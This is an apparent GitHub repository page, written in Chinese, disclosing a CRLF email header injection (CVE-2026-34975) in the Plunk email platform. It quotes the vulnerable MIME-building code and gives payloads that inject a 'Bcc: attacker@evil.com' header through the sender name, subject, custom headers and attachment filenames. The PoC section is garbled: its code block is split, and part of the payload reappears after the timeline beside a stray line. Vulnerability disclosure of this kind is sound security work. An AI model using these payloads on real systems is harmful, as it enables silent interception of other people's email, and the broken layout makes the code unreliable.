romain-deperne/CVE-2026-34975
GitHub: romain-deperne/CVE-2026-34975
针对开源邮件平台 Plunk 的 CRLF 邮件头注入漏洞(CVE-2026-34975)的安全研究与利用代码,展示了未经净化的用户输入如何在原始 MIME 构造中被注入任意邮件头。
Stars: 0 | Forks: 0
# CVE-2026-34975 — Plunk 中因原始 MIME 构造导致的 CRLF 邮件头注入
**严重程度**:高危 (CVSS 8.5)
**CWE**:CWE-93 — CRLF 序列的不当中和('CRLF 注入')
**受影响组件**:`useplunk/plunk`(修复前的所有版本)
**安全通告**:GHSA
**NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-34975
## 概述 (TL;DR)
Plunk 的 `POST /v1/send` 端点通过将用户提供的字段(`from.name`、`subject`、自定义邮件头、附件文件名)直接插入到模板字符串中来构造原始 MIME 电子邮件,而没有进行 CRLF(`\r\n`)净化处理。经过身份验证的 API 用户可以注入任意邮件头——包括 `Bcc`——从而静默地将电子邮件副本重定向到攻击者控制的地址。
## 发现过程
我当时正在审计开源电子邮件发送平台——即任何封装了 AWS SES 并暴露 API 的平台。Plunk 被定位为 SendGrid/Postmark 的对开发者友好的替代品,基于 SES 构建。
我的切入点是原始电子邮件构造函数。每当我看到 `rawMessage +=` 或构建 MIME 的模板字符串时,我都会检查每个用户提供的字段是否经过了 CRLF 净化。在 `SESService.ts` 中,答案显然是没有:`from.name`、`subject`、自定义邮件头和附件文件名都被直接插值。
证实此漏洞可被利用的一点是:Zod schema(`packages/shared/src/schemas/index.ts`)没有使用 `.regex()` 或 `.refine()` 来拒绝这些字段中的 `\r\n`。在 schema 层没有净化处理,在 MIME 构造层也没有净化处理——从 API 输入到注入的 MIME 头形成了一条畅通的路径。
我测试了所有四个攻击向量(`from.name`、`subject`、自定义邮件头值、附件文件名),并确认 `Bcc:` 注入是可行的。任何拥有已验证发件人域的经过身份验证的 API 用户,都可以静默地将每封外发电子邮件复制到攻击者控制的地址。现实的攻击场景是,一个泄露的 API key 会演变成持久的电子邮件拦截。
## 受影响的组件
**文件**:`apps/api/src/services/SESService.ts`,第 137–151 行
```
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
```
**Zod schema**(`packages/shared/src/schemas/index.ts`)——无 CRLF 验证:
```
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
```
## 根本原因
原始 MIME 构造要求在插值之前剥离每个用户提供值中的 `\r\n`。Plunk 使用模板字符串构建消息,并且没有对四个可注入字段中的任何一个进行净化。SMTP 解析器将 `\r\n` 解释为邮件头边界,因此向 `from.name` 中注入 `\r\nBcc: attacker@evil.com` 会在外发消息中添加一个真实的 `Bcc` 头。
## PoC
查看 [`poc.py`](./poc.py) 以获取包含四个注入向量的完整演示。
**核心 Payload — 通过 `from.name` 注入 Bcc:**
```
payload = {
"to": "victim@example.com",
"subject": "Legit email",
"body": "
To: victim@example.com
Subject: Legit email
```
SES 会通过受损的 API key 发送的每封电子邮件,将一份静默副本投递到 `attacker@evil.com`。
**其他注入向量:**
- `subject`:`"Legit Subject\r\nBcc: attacker@evil.com"`
- 自定义邮件头值:`{"X-Custom": "value\r\nBcc: attacker@evil.com"}`
- 附件文件名:MIME 边界注入
## 影响
1. **静默电子邮件重定向** — 将任何外发电子邮件密送至攻击者控制的地址
2. **电子邮件欺骗** — 覆盖 `Reply-To`、`Return-Path`、`Sender` 头
3. **MIME 结构破坏** — 通过附件文件名注入任意 MIME 部分
4. 仅需有效的 Plunk API key 和已验证的发件人域——即标准的经过身份验证的访问权限
## 时间线
- **发现日期**:2026-03-xx
- **报告日期**:GHSA 私有安全通告
- **CVE 发布**:CVE-2026-34975
Nothing to see here.
", "from": { "name": "Legit Sender\r\nBcc: attacker@evil.com", "email": "verified@yourdomain.com", }, } ``` 由 SES 生成的原始 MIME: ``` From: Legit Sender Bcc: attacker@evil.com标签:API安全, AWS SES, BCC注入, CISA项目, CRLF注入, CVE-2026-34975, CWE-93, GHSA, GNU通用公共许可证, JSON输出, MIME构造, Node.js, Plunk, TypeScript, Zod, 安全插件, 密钥泄露, 漏洞分析, 电子邮件头注入, 网络安全, 路径探测, 输入验证绕过, 逆向工具, 隐私保护